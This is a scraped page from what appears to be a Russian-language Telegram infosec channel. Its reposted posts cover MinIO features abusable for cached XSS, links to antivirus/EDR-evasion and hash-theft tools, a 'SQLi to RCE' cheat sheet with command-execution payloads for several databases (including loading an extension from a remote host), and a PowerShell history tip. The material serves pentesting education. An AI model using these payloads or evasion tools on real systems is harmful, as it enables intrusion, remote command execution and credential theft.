Fsecurity | HH
2.01K subscribers
1.77K photos
108 videos
64 files
6.44K links
Канал про ИБ
Наш Discord: https://discord.gg/Eg8aDS7Hn7
Пожертвовать:
> https://www.donationalerts.com/r/xackapb
Download Telegram
Forwarded from BlackFan
Сейчас появилась целая куча всевозможных облачных и локальных решений, совместимых с S3.
И помимо самого S3 API, в них могут быть реализованы и какие-нибудь свои фишки, которые важно знать.

Например, MinIO поддерживает листинг содержимого ZIP архивов и получение файлов из них.

Для использования данной функциональности необходимо чтобы объект в бакете имел расширение zip (проверяется по подстроке ".zip/") и HTTP запрос содержал дополнительный заголовок x-minio-extract.

Листинг содержимого архива:
GET /bucket/?prefix=archive.zip/&list-type=2 HTTP/1.1
Host: 127.0.0.1:9000
x-minio-extract: true


Получение файла из архива:
GET /bucket/archive.zip/test.html HTTP/1.1
Host: 127.0.0.1:9000
x-minio-extract: true


В специфичных условиях подобное поведение может быть использовано для XSS если:
• Атакующий контролирует содержимое и имя объекта, но не контролирует Content-Type (в таки случаях также нужно проверять параметр response-content-type)
• Запросы к объектам кэшируются

Закэшировав XSS в ответе используя x-minio-extract, её можно будет использовать против других клиентов, так как этот заголовок не будет использоваться в ключе кэша.


Еще одна интересная функциональность в MinIO - подпись на события в бакете.
В случае, если бакет настроен небезопасно и для него разрешен action s3:ListenBucketNotification, это позволяет в режиме реального времени получать информацию о внутреннем адресе MinIO, изменениях объектов или запросах пользователей к объектам, включая IP адрес и User-Agent.

Пример запроса (Полный список событий):
curl "http://127.0.0.1:9000/bucket/?events=s3:ObjectAccessed:*&ping=1"
Fsecurity | HH pinned «Ролик на канале 👾 https://youtu.be/1puFwvSOM2w Давайте накидайте комментарии, закидайте меня 🍅😁»
Наш Discord сервер
👆🏻Тут можно пообщаться и найти много полезной информации 🦈

Доп. Информация:
Коллекция исполняемых файлов Windows для использования в тестах на проникновение.
/usr/share/windows-binaries/

Ссылка:
https://www.kali.org/tools/windows-binaries/

Инъекция по-черному. Обходим антивирусы при помощи Shellter

Ссылка:
https://xakep.ru/2015/11/30/shellter/
(Не актуален, можно посмотреть)


Небольшие и очень портативные тесты обнаружения, основанные на ATT&CK компании MITRE.
Ссылка:
https://github.com/redcanaryco/atomic-red-team

Скрипт Cobalt Strike для интеграции полезных нагрузок ScareCrow (EDR/AV-уклонение)
Ссылка:
https://github.com/GeorgePatsias/ScareCrow-CobaltStrike
(Не актуален, только посмотреть код)


Различные ресурсы для улучшения функциональности Cobalt Strike и его способности избегать обнаружения антивирусом / EDR
Ссылка:
https://github.com/RedefiningReality/Cobalt-Strike

Реализация Rust для получения хэшей NetNTLM из внутреннего монолога без использования LSASS, использующая SSPI для согласования NTLM и косвенные NTAPI для основных операций.

🔗Ссылка:
https://github.com/safedv/RustSoliloquy
Forwarded from k8s (in)security (r0binak)
Сегодня хотим поделиться большим и классным по наполнению воркшопом от Ian Smart и Rory McCune "Container Security Workshop", представленным на прошедшей недавно конференции BSides London 2024.

В воркшопе рассмотрели все возможные аспекты безопасности Docker и Kubernetes. Слайды можно посмотреть тут.
Forwarded from hx0110
SQLi to RCE

На самом деле тема исполнения команд по средствам SQL инъекций сотни раз подвергалась обсуждениям, но думаю стоит собрать это все в одном месте). Техники брались в основном из статейки на medium и поста Intigriti в твитере (советую поглядеть)

Исполниться можно в контекстах разных баз данных:
1. MSSQL 💻
2. MySQL 😗
3. PostgreSQL 💻
4. Oracle 🤪
5. SQLite 🤝 (не нашел emoji :))

MSSQL: наверно самая известная техника среди пентестеров (sqli to rce) - это способ исполнения в MSSQL базах данных с использованием хранимой процедуры xp_cmdshell. Конечно, должны присутствовать необходимые привилегии, чтобы ее включить, так как по дефолту она выключена. После этого можно выполнять команды:

EXEC xp_cmdshell 'dir c:\';


MySQL: в этой субд исполниться можно за счет определяемых пользователем функций (UDF). Правда для этого необходимо загрузить и зарегистрировать библиотеку или она должна быть загружена администратором, после чего можно вызывать функции из этой библиотеки. Например:

SELECT sys_eval('whoami');


PostgreSQL: В постгресе есть несколько возможных подходов.
1 - Возможность подгрузки расширений. Можно использовать расширение по типу plpythonu для исполнения python когда прямо из SQL.
-- create extension
CREATE EXTENSION IF NOT EXISTS plpythonu;

-- define the malicious function
CREATE OR REPLACE FUNCTION exec_cmd(cmd text) RETURNS void AS $$
import os
os.system(cmd)
$$ LANGUAGE plpythonu;

-- execute command
SELECT exec_cmd('whoami');


2 - Загрузка функции напримую из libc например
CREATE OR REPLACE FUNCTION system(cstring) RETURNS int AS '/lib/x86_64-linux-gnu/libc.so.6', 'system' LANGUAGE 'c' STRICT;
SELECT system('whoami');


3- Команда PROGRAM

ORACLE: так как oracle имеет встроенный Java движок это позволяет создавать разработчикам хранимые процедуры. Злоумышленники тоже могут этим воспользоваться для создания своей вредоносной процедуры(подробнее см. статью на медиуме)

SQLite: в sqlite можно также пойти через подгрузку расширений, но эта возможность должна быть явна включена:
UNION SELECT 1,load_extension('\\example.com\mal_extension.so', 'MainFuncCall')

или например с помощью load_file() прочитать закрытые ключи SSH (этот подход можно применять и в других бдшках)


Если вдруг чего то не хватает, подмечайте, обязательно добавлю !)

#SQLi #RCE
Please open Telegram to view this post
VIEW IN TELEGRAM
Forwarded from CyberSecrets
Дата и время выполнения команд в Powershell

Последнее время стал замечать, что заказчики на внутренних пентестах просят предоставлять дату и время выполнения действий. Давно я уже писал как можно добавить в консоль отображение даты и времени, а также использование Powershell Transcript. Сейчас хочу поделиться еще полезной функцией Powershell.

В Powershell есть функция чтения истории выполнения команд Get-History. Если выполнить эту команду, то будет предоставлен перечень выполненных команд, однако если изменить формат отображения в виде списка, то кроме команды можно получить статус, время начала выполнения команды и ее завершения.

Get-History|fl


Данные можно экспортировать в формат CSV и затем импортировать в Excel.

Get-History|Export-Csv -Path history.csv


При использовании этого метода стоит знать, что при закрытии консоли данные о дате и времени пропадают, поэтому, если необходимо собирать такую информации, делать это лучше в конце рабочего дня. И второе, каждая открытая консоль собирает дату и время только для нее. Хотя история самих команд для всех собирается в отдельном файле и прочитать его можно следующим образом, но уже без времени:

Get-Content (Get-PSReadlineOption).HistorySavePath


Так как данные возвращаются в виде PSObject, можно выполнять различные операции для фильтрации вывода. Например, можно ограничить вывод только за определенный период:

Get-History |where {$_.StartExecutionTime -ge $(get-date("12.05.2024 10:00:00")) -and $_.StartExecutionTime -le $(get-date("12.06.2024 18:00:00"))}|fl


Важно помнить, что формат времени в русской и в английской версиях Windows разный. В русской идут день-месяц-год, а в английской месяц-день-год. Поэтому будьте внимательны!

#Powershell #Внутрянка